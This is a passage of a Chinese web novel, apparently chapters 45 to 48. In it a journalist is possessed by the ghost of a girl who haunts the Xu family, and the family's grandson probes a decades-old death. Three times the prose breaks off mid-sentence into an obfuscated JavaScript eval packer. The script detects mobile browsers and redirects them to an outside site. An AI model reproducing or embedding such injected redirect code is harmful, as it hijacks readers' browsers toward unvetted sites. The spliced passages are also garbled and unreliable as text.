“对了,之前去普陀寺的时候我就想问了,你向来唯物主义,最近又是去求签算命,又是想拜访先生,你是不是——遇到什么事了?” “嗯,算是。” “我嘞个去,那我明天更得陪你去了,早上几点?” “弘博,我之前联系过这位汤老先生,他拒绝了。” * 颜珺瑶觉得这几天“惊喜”连连,先是许修远提前回来,接着学姐不知从哪里听说了她的事,特意跑来看她,而今天中午又有了一个,而且是非常大的一个惊,为什么没有喜呢? 因为最后她发现自己和对方都喜不起来。 今天爸妈恰好都有事,颜珺瑶一个人待在病房闲得发慌,只等着明天快点到来,她就能出院了。 在医院住了一周,她觉得自己快发霉了。 闲来无事,又是刷新闻,又是玩游戏,终于熬到差不多可以吃午饭了。 颜珺瑶正要下床,突然病房里就来了一位重磅级别的客人。 她怎么都想不到,许忠林怎么会知道她住院,而且还亲自过来看望她呢? 来不及想太多,赶紧请许忠林和宗叔坐下,正要给他们拿水,许忠林笑呵呵地开口道:“颜小姐不必忙,赶紧躺下,不知你现在身体如何了?” “哦,我好多了,明天就可以出院,谢谢您特意来看我。” “太客气了,我就是正好路过,所以进来看看你,你没事就好。” “……谢谢您——” 一时之间,颜珺瑶不知道该说些什么,感觉脚趾都在用力。 许忠林像是把她当成了自家的小辈,慈爱地提醒道:“以后骑车或是开车都要多注意,有些人开车就是乱来——” 说到这里,他突然就顿住了,脸色瞬间有些灰白。 “……您喝口水。” 颜珺瑶递过去两瓶水,她知道许忠林应该是想到了几个月之前许耀中的死,瞬间难以抑制悲痛。 蓦地,她只觉得脑袋有些发晕,意识逐渐开始有些模糊。 许忠林接了过来却没喝,突然问道:“听说之前——颜小姐,你——怎么呢?” 颜珺瑶用力地摇了摇头,狠狠地闭上了眼。 “老宗,叫医生!” 就在这时,颜珺瑶倏地睁开了眼,懵懵地看着面前的老人。 “颜小姐,你——” 颜珺瑶缓缓露出一个天真烂漫的笑容,“二哥哥,你还记得我吗?我是萍萍呀——” “……你——你是——” 许忠林噌地就站了起来,踉跄着就要往后退,差点就被身后的凳子给绊倒,宗叔赶紧扶住他。 “许老先生,您——二哥哥,你还记得我吗?你怎么现在才来看我——” “你都死了,你还要做什么?你为什么要害死——” 许忠林压抑的怒声豁地停了下来,因为他看到颜珺瑶似乎快要清醒了过来。 颜珺瑶只觉得很痛苦,一种无能无力,灵魂被禁锢的痛苦,她极力想控制自己,却发现毫无办法。 终于,她咬破了唇,挣脱了出来,夺回了控制权,一抬眼,就看到许忠林和宗叔两人,满脸惊恐地看着她。 “你——”许忠林颤巍巍地抬起右手,“你到底是谁?” “对不起,许老先生,我——我刚才——刚才好像——” 颜珺瑶不知该如何解释,许忠林也没有给她解释的机会,冷哼了一声,匆匆忙忙地离开了病房。 “……”颜珺瑶彻底呆住了,好半天脑子里都一片空白。 病房外突起的吵闹声,让她一个激灵地回过神。 她拿起手机,十二点零四分,大中午的,自己这是被附身了吗? 那个小女孩附在了她的身上,和许忠林,也就是她口中的二哥哥,说上话了? 他们说了什么? 颜珺瑶使劲地揉了揉太阳穴,头还是有些晕。等到缓过来之后,她拿起手机按下了许修远的号码。 在“嘟——嘟——”声中,她忐忑不安地等着,手都有些拿不稳手机。 不过许修远没接。 颜珺瑶一时之间不知道该做什么,只能晃晃悠悠地出了病房。 不管怎么说,病房外人多,人多她就没有那么害怕了。 等到许修远回电话过来,颜珺瑶才发现自己已经在一楼大厅的长椅上坐了很长时间。 “珺瑶,我刚才开会,你——” “许修远,我好像闯祸了。” “先别着急,你慢慢跟我说!” 颜珺瑶心里莫名堵得慌,走到一个无人的角落,“刚才许老先生来看我,但我——我应该是被那个小女孩附身了,把你爷爷吓走了,不知道你爷爷现在什么情况。” 许修远默了片刻,“别担心,老宅那边没给我打过电话,应该是没问题的,而且也不是你的错,你别多想,我先问问。” * 许忠林不是没问题,只是没有大问题,但现在他必须去见一个人。 当宗叔得知他要去公司时,十分不解,换做平时,这会儿应该会让他去请赵先生了。 为什么突然要去公司呢? “我去看一眼小远。”不亲眼看到他好好的,他没法放心,“你先让人去接赵先生,请他去老宅等我。” 车子刚进入公司大楼的地下车库,许忠林的手机就响了,是许修远打来的。 他凭空打了个冷战,只一秒间,脑子里翻江倒海。 小远为什么突然给他打电话,是不是出了什么事? 可接起电话之后,他心头的大石头便重重落了地。 他的小远好好的,打电话只是要告诉他晚上会老宅陪他吃饭。 “小远,你吃午饭了吗?听说今天早上好几个会。” “嗯,刚从会议室出来,就是肚子饿了,所以才提前跟您点菜来着。” “爷爷就在楼下,我让人准备了午餐,马上就会送到,待会儿爷爷跟你一起吃。” 许修远有些诧异,爷爷已经很少会来公司了,怎么今天大中午的,连午饭都还没吃,就突然过来了? “……嗯,那我下去接您!” 爷孙俩回到许修远的办公室,不多会儿宗叔就提着好几个饭盒进来了,一一在桌上摆好,立马就退了出去。 许忠林亲手给许修远盛了碗汤,“小远,爷爷对不起你。” 许修远接碗的手顿了顿,“爷爷,您怎么突然这么说,是不是出什么事了?” “呵呵,爷爷只是觉得你太辛苦了。”许忠林又给他夹了菜,“吃饭吧,多吃点。” 一顿饭,许修远吃得有些心不在焉,吃完之后,许忠林不让他送,嘱咐他好好休息。 “明晚回老宅吧,今晚爷爷还有点事,我会提前让阿姨准备好你喜欢的菜。” * 赵敬鸿已经喝了好几杯茶,阿姨正要给他再泡一壶时,许忠林终于回来了。 进了二楼的书房,许忠林三言两语地把中午在医院病房发生的事情说了。 “赵先生,我觉得姓颜那丫头不可能和沈新柔没关系,一定是血亲,只是目前还没查到。” 本来他没打算去医院,但前几天他让人调查汤明山,却意外发现颜珺瑶的老家就在汤明山家的隔壁。 他不得不怀疑,汤明山拒绝替许家做事,有没有可能是因为颜珺瑶呢? 毕竟颜家和汤家关系匪浅,而且汤明山几十年下来赚了不少钱,虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065664|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是大富大贵,但汤家绝对不缺钱。找过他帮忙的人之中不乏有钱有势的,但汤明山却不喜结交,只拿钱办事,之后却几乎不来往。再加上汤明山性情古怪,说不定就因为颜珺瑶的三言两语而拒绝了许家。 “嗯,目前来看确实是这样,不过,”赵敬鸿清了清嗓子,“我觉得汤老先生的拒绝应该和颜珺瑶没关系,病重之人确实力不从心,没处理好,反而败了自己一辈子的名声。” 许忠林摆了摆手,在今天早上去医院之前,他其实已经知道是自己多想多疑了,但还是去了一趟,万万没想到居然有“意外收获”。 “汤明山拒绝就拒绝吧,现在主要问题是颜珺瑶和她们母女。” 赵敬鸿沉吟良久,“许老,我有个想法,您看看合不合适?” * 颜珺瑶总算是出院了,上午离开医院,下午就要坚持会单位上班。 没办法,虽然车祸的发生不是她所愿,但她又——请——假——了。 她都不敢认真算今年自己到底请了多少天假。 回到单位的第一件事,就是主动去找了一趟主任,虚心地表达了自己的愧疚。 王宇阳脸上挂着百年不变的笑容,“小颜呀,这次的病假不怪你的呀,你也真是的,早上刚出院,现在就来上班了,哎呀,应该好好休息的,明天再来也不迟。” 颜珺瑶有些拿捏不准王主任的话里到底有几分真心,几分嘲讽,不管如何,她都必须得当成百分百的真心。 “谢谢主任关心,我接下来一定会好好工作的。” 王宇阳煞有介事地点了点头,“听说许老先生那边因为有事,暂时停了?” “……嗯,是这样的。” “如果许老先生又要继续的话,你们不用跟我说,直接去,这是许老先生看重你们,一定要好好把握机会的,那可是许家。” “……好的,主任,我明白了。” 刚回到工位,吕嫣就滑着办公椅溜到颜珺瑶身边,给她塞了一块巧克力。 “主任是不是又说你了?我跟你讲,别放在心上,谁愿意出车祸啊,而且其实最近请假的人不止你一个,你别有心理负担。” 颜珺瑶撕开巧克力的外包装,掰下一块,随口问道:“谁也请假了?” “张熙杰啊,今天不就不在嘛!” “他怎么请假了?生病了?” “啊,你还不知道呀,”吕嫣十分吃惊,“他爷爷住院了。” 颜珺瑶立马放下巧克力,拿着手机走出办公室,拨通了张熙杰的电话。 这才知道,汤爷爷的复查结果出来了,是癌症中期,之所以之前没告诉她,是不想让她住院的时候跟着担心。 颜珺瑶只觉得双腿有些发软,癌症中期,治愈的可能性高吗? “还要住院观察一段时间,才能定手术方案,”张熙杰叹了口气,“不过小老头似乎看得很开。” * 许家老宅。 爷孙俩坐在餐桌前吃饭,许忠林时不时给许修远夹菜。 许修远心里疑惑,爷爷今天的心情似乎——还算轻松? 昨天中午刚经历了那样可怖的事情,而且当时去公司找他时,爷爷的脸色分明不太好,今天爷爷的状态在他的意料之外。 饭后,许修远陪着许忠林在院子里修剪花草,宗叔突然拿着一个檀木盒子走了过来。 “谁送来的?”许忠林拿过檀木盒子看了看,没有快递盒,没有贴快递单,不是快递,盒子也没有上锁。 “是一个快递员送来的,说是有人让他送的,还说里面——只是一封信,不是危险品,指名要给您。” 对面的两人皆是一愣,随即许忠林急忙打开了盒子,里面确实只有一个封好的信封,但信封上一篇空白,一个字都没有。 他眯了眯眸,迟疑了两秒,拆开了信封,抽出了里头的信纸。 信纸一展开,许忠林几乎就要瘫倒在地,胸膛剧烈起伏着。 一旁的许修远也看到了信纸上的内容,也怔住了。 只见信纸最右边的一列,从上往下写着:二哥哥,你还记得我吗?我的项链丢了。 而且字迹十分稚嫩,分明就是一个孩童写的。 46. 第 46 章 许忠林被扶到了客厅,“快,快派车子去请赵先生。” “不,宗叔,先让人开车把送信的人找回来,”许修远不停地帮他顺气,“再给家庭医生去个电话。” 许忠林缓过神来,也急忙道:“对,对,赶紧把送信的人找来!” 许修远从茶几上再次拿起那张信纸,却被许忠林夺了过去,攥成了团,扔进原本的檀木盒子里。 他并未出言询问,眼神却不住地盯住了那个檀木盒子。 从信中内容来看,这一定是有人用三姑奶奶的口吻写给爷爷的。 会是谁呢?难道是二太奶奶旁系的后人? 可如果她的后人要报仇,为什么会等了近八十年才行动呢? 许忠林面色沉郁,一直沉默着,爷孙俩就这么安静地等着。 直到家庭医生过来,许忠林的情况稍稍稳定下来之后,许修远正欲张口,许忠林似乎猜到他要说什么,抢在他出声前说道:“老宗这么长时间还没找到人,你赶紧帮忙想想办法把送信的人找到,其他的都不要管。” 许修远不为所动,正色道:“爷爷,太爷爷总共有几个孩子?” “……现在先去把人找回来!” “爷爷,你是家里长子,但也是太奶奶的生的最小的孩子,叫您二哥哥的到底是谁?” “我再说一遍,这些事情你都不要管,赶紧多叫几个人去找。” “爷爷,您应该告诉我,我可以——” “啪”地一声,许忠林拿起一个茶杯狠狠地摔了出去,手掌用力拍着心口,指着大门方向,“快点去找人!” “……” 许修远闭了闭眼,只好站了起来,还不等他拨出电话,外面就有了动静。 很快,宗叔带着一个神情紧张的中年男人走了进来。 还不等走到跟前,快递员就冲着许忠林,开始磕磕巴巴地解释:“老先生,我——我不知道对方是谁,他只说让我送过来给许忠林,我特意检查过了,里面没有任何危险品,所以——所以我就接了,我真的不知道他是谁,真的,我不敢骗您——” 许修远笑着说道:“别紧张,先坐下喝口水,我们找你只是为了打听是谁让你送的东西而已,你不用紧张。” 快递员局促不安地坐到了一旁的沙发,手脚拘谨,宗叔给他倒了杯茶,他接过的时候差点把茶水漾了出去,赶紧一口喝了。 许修远这才问道:“你注意到对方的长相了吗?” 快递员猛地摇头,“男的,带着口罩和帽子,遮的很严实,我没看清,但听声音应该是有年纪了,普通话很标准,差不多五十岁左右。” “那他是怎么联系上你的,在哪里把东西给你的?” “他——他就是昨天给我打的电话,说是在手机上看到我的满意度比较高,所以就问我能不能帮他——送点东西。”快递员咽了咽口水,紧接着又报了一个地址。 许忠林勉强挤出一丝笑意,“辛苦了,耽误了你的时间,老宗,好生送这位小哥回去。” 望着宗叔和快递员的背影,许修远敛了下眸,心头涌起了不好的预感。 这个地址是在三环路附近,对方居然选在了这里,怕是提前踩过点的,有可能附近不好找到监控。 他站了起来,看着许忠林道:“爷爷,我马上叫人去查。” 许忠林板着一张脸朝他挥了下手,“去吧!” * 出院之后,钱艺文和颜志华一定要让颜珺瑶回家住,不过她只住了一个晚上,次日就找了理由回了出租房。 她哪里敢回去,在家里住的那个晚上战战兢兢的,疑神疑鬼的,生怕自己什么时候又被附身,吓到了父母。甚至,如果小女孩缠上了爸妈,那她真的会想去撞墙! 晚上临近八点,颜珺瑶终于写完了稿子,剪好了片子。从机房出来时,她摸了下自己的额头,确实发烧了,头疼不已,但好在把工作完成了。 回到出租房,一甩上门,就直接在沙发上躺倒,连洗澡,吃退烧药的力气都没有,头一歪,几乎是秒睡。 不知睡了多久,颜珺瑶腾地从沙发上坐了起来,意识迷迷糊糊,她想先去卧室拿衣服洗澡,但蓦地她却发现自己在开门。 她拼命挣扎却无果,甚至想咬唇都不能,心猛地一沉,她意识到自己的身体又被控制了。 她在不受控制地走出门,下楼打了车,等到从出租车上下来,她听到了远远近近呼啸而过的车声,才惊觉,自己居然来到了一条大马路上。 这是哪里?很眼熟,她一时想不起来。 紧接着,颜珺瑶掏出手机,拨通了许修远的号码。 “……珺瑶,出什么事了?” 颜珺瑶泪如雨下,哽咽着哭诉道:“二哥哥,我好疼啊,我浑身都疼,你快救救我啊!” * 许家老宅,许修远一直没睡。 今晚赵敬鸿照例还是被爷爷请了过来,而且待到了将近十点才离开。 卧室里,许修远注意着外面的动静,直到确认悄然无声,所有人都睡下了,他才鬼使神差地出了房间,再次来到了三楼最尽头的房间门口。 深吸一口气,低声地说了一句:“二太奶奶,打扰了!” 随即用钥匙开了锁,走了进去,小心翼翼地打开了那个衣柜,确定里面没有孩童的衣物。 但这一次,他居然在里头摸到了一个暗格。 打开暗格,往旁边退了一步,让头顶的灯光照进去。 许修远狠狠一惊,里面是一个旧相框,而且贴着黄符。即使不揭开黄符,他也很清楚,照片上的人一定是二太奶奶。 再四处一看,房间里多了不少的黄符,房门顶上,窗户上方,还有屋顶正上方。 符纸簇新,可能是刚贴不久的。 蓦地,楼下似乎隐隐有声音传来,再一听,却没了任何动静。 刚才那声音就像是幻觉。 但许修远不敢大意,立马轻手轻脚地离开三楼,回到了房间。 可他还没关上房门,卧房里铃声乍响,再寂然的深夜,犹如惊雷。 许修远吓了一跳,赶紧合上了门,快步走到床头柜前一看,居然是颜珺瑶。 心头一紧,颜珺瑶不可能会无缘无故大半夜给自己打电话的—— 迅速接了起来,就听到电话那头颜珺瑶痛苦哽咽的嗓音。 “二哥哥,我好疼啊,我浑身都疼,你快救救我啊!” “珺——三姑奶奶,你在哪里?” “二哥哥,我好疼啊!” 许修远温声劝说:“三姑奶奶,你告诉我你在哪里,我去找你,不,我去救你,好不好?” “我在——许修远,别来,别——我在车子撞我的地方,你快来救我啊,好疼,好疼,好多红红的——” “……你在那里等我,我马上过去!” 许修远迅速换了衣服,跑下了楼,可车子驶出去之后,却不知道该去哪里。 三姑奶奶被车子撞的地方?会是哪里? 倏地,他想到了一个地方。 咬了咬牙,转动方向盘,刚拐过路口,突然接到宗叔的电话,问他怎么大半夜突然开车出去了,老爷子很担心。 “我朋友出了点事,我过去看看。” 应付完宗叔的电话,许修远踩下了油门。 车子越来越接近父亲出事的地方,远远地看见颜珺瑶形单影只地站在路边。 他立刻停了车,跑了过去。 颜珺瑶孤零零地站着,无声地流着泪,但她的指甲已经挠破了自己的掌心。 余光瞥见有人靠近,猛地抬头看去,脸上瞬间换上委屈痛苦的神情。 “二哥哥,我好疼啊,大姐姐把我带出来,我就被车子撞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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颜珺瑶的眼神突然变得迷蒙,“我好像,好像被关在一个小房子里,我拼命地四处乱撞,才挣扎了出来。” 她反手攥住许修远的手,认真道:“下次,如果下次再接到这样的电话,千万不能来,我不知道自己是不是每次都能控制住自己,很可能会害了你。” 许修远深深地看了她一眼,“你先好好休息——” “我没有开玩笑,”颜珺瑶打断他的话,“这段时间我一直不敢跟你多接触,特别是晚上,就是因为我发现——” 她盯着许修远的眼睛,“我会出现控制不了自己的情况,做出一些自己也不能理解的事情。” 许修远了然,“什么时候开始有这种情况的?” 颜珺瑶垂下眼睫,想了好半晌,蓦地一愣,看向了许修远。 “……”许修远一惊,“是从你目睹我父亲的车祸之后开始?” “对,那天我在路边看到车祸发生后,晕过去了,被人送到了省立医院。当天夜里我在楼上看到你,之后——之后我居然去了八楼,我自己也不知道为什么上去。” 省立医院八楼?那是手术室楼层,当天晚上父亲就在这一楼动手术。 许修远沉吟,所以她从那天开始就被三姑奶奶和二太奶奶选中了。 “但之前还是偶尔控制不住自己,自己的意识还算清楚,”颜珺瑶继续喃喃,“可车祸住院时,你爷爷来看我那天,第一次出现了被夺舍的情况——” 她微张着嘴,说不下去了。 每次她克制住害人的邪念,她几乎都会被惩罚,所以她们母女就是在利用她。 从影响她的思维,到现在抢夺她的身体,以后——自己的身体会不会被彻底占据呢? 颜珺瑶浑身一个激灵,不,不,不,汤爷爷说过了,她不会有生命危险的。 对,咬牙熬过去。 “许修远,我是认真的,以后接到今晚这样不正常的电话,千万不要过来,她们在利用我伤害你,你很危险。” 47. 第 47 章 四目相对间,许修远的心中汹涌澎湃。 良久,他偏过了视线,倒了杯水放到颜珺瑶手里,笑着说了声:“好!” 颜珺瑶猛喝了口水,就听许修远又道:“我见过的,我爷爷身边有过两位先生,但似乎都没能很好地解决这件事,我会托人去打听其他更厉害的能人异士,否则你这样下去比我危险。但其实——” 他深深叹了口气,“其实我觉得二太奶奶和三姑奶奶应该是有所求,就比如今晚三姑奶奶跟我提的项链,不过肯定不止这个。” “对,”颜珺瑶深以为然,“调查清楚当年的真相,还她们母女公道,化解她们的怨气,好好送走她们才是最好的办法,否则要是硬碰硬,也许大家都不会好过。” “汤爷爷在这方面就很厉害了,但他都没能帮我彻底拜托这个困恼,只给了我平安符,让我要熬过去,所以最好的办法就是帮她们完成心愿。” 眼下算是知道了萍萍是想要回自己的项链,而且她还提到了大姐姐,应该就是许修远的大姑奶奶,很可能就是这位大姑奶奶害了萍萍,不管她是有意还是无意把萍萍带到那条马路上,她都难辞其咎。 不过,许修远也说过,这位大姑奶奶早就过世了,如今只能把希望寄托在项链上了。 许修远“嗯”了一声,“三姑奶奶提到的项链,我先回老宅找找看。” 颜珺瑶突然想起了什么,“如果知道她的墓在哪里,还能去祭拜祭拜,也许她就愿意多说一点——” “等你好了,可以再去找一次严婆婆。” 颜珺瑶双眸一亮,“对,再请她上身,再问问。” 说着她就要去拿手机。 许修远笑道:“很晚了,你先休息,其他事等你好了再说,不急在这一时。” * 颜珺瑶确实体力不知,沉沉地睡了过去,第二天直到医生查房时她才醒来。 医生表示她没有什么大问题,但身体有些虚弱,需要好好补补身体,适当运动。 颜珺瑶忙不迭点头,只问了一个问题,“医生,我今天上午可以出院吗?” 医生给了肯定答案,颜珺瑶眼巴巴地盯着架子上的药瓶,下意识伸出了手,但又很快缩了回来。 一旁的许修远无奈地摇了摇头,“这一瓶滴完,还有一瓶。” “……哦。”那算了,不用调快了,且等着了。 颜珺瑶时不时就瞅一眼滴瓶,许修远终于看不下去了,“你这么着急,是着急回去上班还是想去找严婆婆?” “……我想去找严婆婆!” 颜珺瑶呵呵笑了笑,反正假都请了,半天和一天差别也不大,顶多是主任的阴阳怪气有可能从两句变为四句,应该暂时——还不会开了她——吧? * 再次站在这栋老式的农村自建房前,和上次不一样的是,这次许修远陪着她来了。 大门依旧半开着,屋子里有两个人正坐着,颜珺瑶正要抬手敲门,其中一位中年阿姨笑着指了指右手边的那间关着的屋子。 “进来等着吧,严阿婆这会儿忙着呢,我们俩都等了有一会儿了。” 进了屋子,两人找了凳子坐下,没多久,那扇紧闭着门打开了,出来一位眼眶通红,甚至还在凑齐的年轻男孩以及一位成年男人,应该是父子。 先来的那两个中年人迅速站起来,走了进去。 颜珺瑶收回视线,嗯,下一个就轮到她和许修远了,应该很快的。 确实挺快的,不到五分钟,里面的人笑呵呵地走了出来,那位阿姨还看着颜珺瑶道:“到你了,你进去吧!” 颜珺瑶腾地就站了起来,看了眼许修远,两人一起进了右手边的屋子。 颜珺瑶刚在凳子上坐下,对面的严婆婆突然看着她说道:“你最近是不是出什么事了?” “……”颜珺瑶很不好意思,抓了抓脸,“我之前出了点小意外,还把平安符给弄丢了。” “呵呵,我再给你一张!你身上的阴气比上次来重多了,阳气渐弱,一定不要再丢了。”说完,严婆婆瞥向了门口的方向。 颜珺瑶蓦地抓紧了身前的包,“严婆婆,她——她也在这里吗?” 严婆婆似笑非笑地扯了下嘴角,“这位客人在门口处。” 颜珺瑶和许修远对视了一眼,双双看向了房门口,却听见到严婆婆厉声道:“怕什么,有事说事,别耽误时间。” “……哦,就是我们想——再请她一次。” 颜珺瑶的视线跟着严婆婆的动作走,看着她再次重复了上次一样的流程,直到严婆婆猛地抬起了头,视线在她和许修远身上来回移动。 看来,这一次也成功了。 “严婆婆”的视线倏地定在了许修远身上,突然扬起了嘴角,笑眯眯地看着他,“二哥哥——” “三姑——萍萍,你希望我为你做什么呢?你有什么心愿吗?” “二哥哥,我的项链呢?爸爸给我的项链被大姐姐拿走了,我要我的项链,二哥哥帮我找到我的项链。” “项链我会尽力去找,只是你能告诉我项链是什么样子的吗?” “发光,蝴蝶,飞起来——” 许修远略一思索,再次问道:“是蝴蝶形状的项链吗?” “严婆婆”嘴里却在重复着:“发光,蝴蝶,飞起来——” 颜珺瑶的手开始微微颤抖,她真的担心萍萍会就这么离开了。 再多待一会儿吧,求求了! 许修远换了个问题,“除此之外,你还有其他心愿吗?” “大姐姐呢?我要找大姐姐——” “大姐姐在十几岁的时候已经过世了。” “严婆婆”咯咯笑起来,“大姐姐是坏人,她欺负我,抢我东西,还推我。” 说完这句话,严婆婆猛地瞪了一下眼睛,低垂下头,额上渗着汗水,看起来疲惫至极。 颜珺瑶下意识站了起来,正要走过去,却见严婆婆双手撑着桌子,低低地笑了一声,“我没事,不过——” 她顿了顿,肃然道:“我能力有限,对付不了她,更没法超度她。她被养了太久了,而且她背后的人太厉害了,你切记要当心。” * 许修远送颜珺瑶回去之后,直接回了老宅。 一走进大门,就看到爷爷正坐在客厅,他快步走了过去。 许忠林见他脸色有异,腾地站了起来,问他是不是出了什么事? “爷爷,我想找您谈谈。” 许忠林即刻拉下了脸,“要我说几遍,家里的事情你不要问,也不要——” “爷爷——”许修远出声打断了他,不禁提高了音量,“我查到了不少事情,也发生了不少事情,您希望我在这里说吗?” 宗叔突然跑了过来,慌张地看着爷孙俩,“怎么呢,小远?” 许忠林大惊失色,一把拽过他的胳膊,“你——你在说什么?” “爷爷,去书房,我把事情告诉您,但您也必须对我说实话。” 许忠林在许修远的搀扶下,进了二楼的书房。 门一关上,许修远就开门见山地问道:“爷爷,您一定是知道萍萍的,对吗?” 许忠林只觉得一口气差点上不来,声音骤然沙哑异常,“你——你怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078152|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会知道这个名字?” “她找上了我,一直缠着我,她还告诉我她是被大姑奶奶带到外面,以至于出了车祸,就是在父亲出事的地方,她是在报复我们家。她还说大姑奶奶抢了她的项链,是太爷爷送她的项链,被大姑奶奶抢走了,她想要回去。” 许忠林额角青筋浮现,撑着沙发扶手站了起来,怒道:“你为什么今天才告诉我,为什么不早说?” 许修远也跟着站了起来,“最近家里发生的事情我都知道,赵先生根本解决不了这个问题,治标不治本,最多只能暂时压制。后院挖出来的两个小棺材是三姑奶奶和她妈妈的衣冠冢,对吗? 之前您以为把她们葬入祖坟,给了她们名分,事情就能解决,但两次半路都出了事。您是不是安排了不少人去找她们母女真正的安葬处?因为许家给她们造的墓早就被人挖了,她们的棺木是空的对不对? 从大姑奶奶到大伯的早夭,再到我爸的车祸,您一定是早就知道,是三姑奶奶母女在报复我们许家。爷爷,您应该把事情真相告诉我,否则这个事情什么时候是个头,下一个出事的很可能就是我。” 许忠林直接倒在了身后的沙发上,许修远赶紧给他顺气,宗叔跑了出去联系家庭医生。 许忠林慢慢缓过来了,“小远,你告诉爷爷,你到底都发生过什么事?” 许修远不想让他操心,“已经没事了,大概我命中真有贵人,每次都有人帮了我,所以您不用担心。” 许忠林沉默良久,紧紧抓着男主的手,说道:“你明天是不是又要出差?” 许修远点了点头,许忠林深深地叹了口气,“等你忙完了,回来之后我把一切都告诉你。” * 次日早晨,许修远出现在机场。 在登机前给颜珺瑶打了个电话,但对方没接,应该是早起出去跑新闻了。于是便给她发了条微信,告诉她自己出差几天,让她多注意安全。 颜珺瑶确实一大早就被一通电话给叫醒了,赶到了事发地。 等到结束采访,要上车回单位时,已经快十点了,她才看到许修远的未接来电以及微信,给他回复了一个OK的表情包。 回到单位之后,主任表示这个新闻要赶着出,于是她带着实习生一头扎进了编辑机房。 等到出来时,刚吃完饭,正要趴着眯一会儿,就又被叫走了。 颜珺瑶没有丝毫怨言,相反,这样才能让她踏实些,毕竟昨天下午的假并不是病假,而是纯粹的私事。 她撒了谎了,只能尽量好好表现了。 傍晚,颜珺瑶好不容易在正常时间下了班。 回到家里,烧上水,准备给自己煮面,刚敲了两个鸡蛋到碗里,正搅拌着,手机骤然响了。 她跑到了客厅,发现是个陌生号。 迟疑了两秒,还是接了起来,居然是许忠林打来的,问她是否有时间聊一聊。 颜珺瑶猛地想起了那天在医院病房的事,虽然许修远多次跟她表示他爷爷身体没事,但她觉得还是欠他老人家一个道歉。 也许,许忠林也是为了那件事来找她的? 但不管如何,她觉得自己都有必要跟他解释一下,便痛快答应了。 半个小时后,颜珺瑶接到了宗叔的电话,说车子已经到了小区外。 颜珺瑶很快下楼上车,原本以为是去许家老宅,但令她意外的是,车子把她带到了西郊的一处别墅区。 她有些莫名,有些忐忑,但她也不得不说,许家真是有钱啊! 车子进了别墅大门,宗叔下车把颜珺瑶请进了别墅二楼的书房,而许忠林已经在等她了。 48. 第 48 章 许忠林亲自给她泡茶,倒茶,和颜悦色地简单寒暄了几句之后,颜珺瑶刚要提起那天的事情,却看到许忠林突然开口叫了一声:“许薇萍。” 颜珺瑶愣了下,不明白老爷子在说什么,但很快反应了过来。 “许爷爷,那天——” 许忠林笑着打断她的话,“颜小姐不认识许薇萍吗?” 迟疑了两秒,颜珺瑶摇了摇头。 许忠林意味深长道:“颜小姐最近是不是被一个小女孩缠上了?” 颜珺瑶怔住,就听许忠林继续说道:“听说我儿子出事的时候,颜小姐就在附近亲眼目睹,有看到什么不对劲的地方吗?” 没想到许忠林居然连这件事都知道。 颜珺瑶以为是许修远跟他爷爷说的,便不再多想,点了点头,“那天下班刚好路过那里,确实——看到了一个穿着嫩黄色旗袍的——小女孩。” “监控里没有这个孩子,颜小姐为什么能看到她呢?” 颜珺瑶有些无奈,“我也不知道什么原因,当时就是看到她了,后来才知道当时现场没有这个孩子。” 许忠林话锋一转,“你们家和姓沈的是什么关系?” 颜珺瑶一头雾水,姓沈的?她立即想到了那个和自己长相相似的旗袍女人。 她摇头,刚张开嘴,就在这时,书房外头有人敲了敲门,很快进来一个中年男人,是之前见过的赵敬鸿先生。 对方坐在了许忠林旁边,毫不避讳地盯着她看。 许忠林又开口了:“颜小姐最近有发生什么奇怪的事情吗?” 颜珺瑶抿了抿唇,“就是看到过那个小女孩几次,但我不知道她叫什么。” “颜小姐,她会害死你的,她在控制你。”说话的是赵敬鸿。 颜珺瑶一时不知该说什么,沉默了片刻,许忠林继续说道:“那天我去医院看你,你突然神情恍惚,对我说了一句话,二哥哥,你还记得我吗?” 颜珺瑶紧紧攥着沙发扶手,试图解释:“许爷爷,我真的不知道,对不起,我不是故意吓你的,但我真的——” 赵敬鸿打断她的话,“她在控制你,那会儿是中午十二点整,阴阳交替的时候,所以她趁机上了你的身。颜小姐可以回忆一下,以前发生奇怪的事情是不是大部分都是在晚上?” 颜珺瑶之前就注意到这回事,还不等她回答,赵敬鸿又问她:“颜小姐有没有接触过什么奇怪的人?” “没有。”颜珺瑶很肯定。 “颜小姐,有一个不情之请,想麻烦你把许薇萍请出来,可以吗?” “……”颜珺瑶踟蹰不定,看向许忠林恳切的目光,不禁问道:“您是打算——” 许忠林呵呵笑道:“颜小姐,请放心,绝对不会伤害你,我只是想和她谈谈,帮她完成心愿。” 颜珺瑶这才点头,“好吧!” 赵敬鸿掏出一张黄符,绕到颜珺瑶身后,点燃黄符,掐指念咒,但许久都不见颜珺瑶有任何异常。 颜珺瑶:“……” 突然间,书房的门被打开了。 一个满脸笑意的中年女人出现在书房门口,缓缓地开口道:“二哥哥,我的项链呢?” 书房中的三个人倏地全都站了起来,颜珺瑶不可思议地看着面前的阿姨,原来萍萍上了她的身。 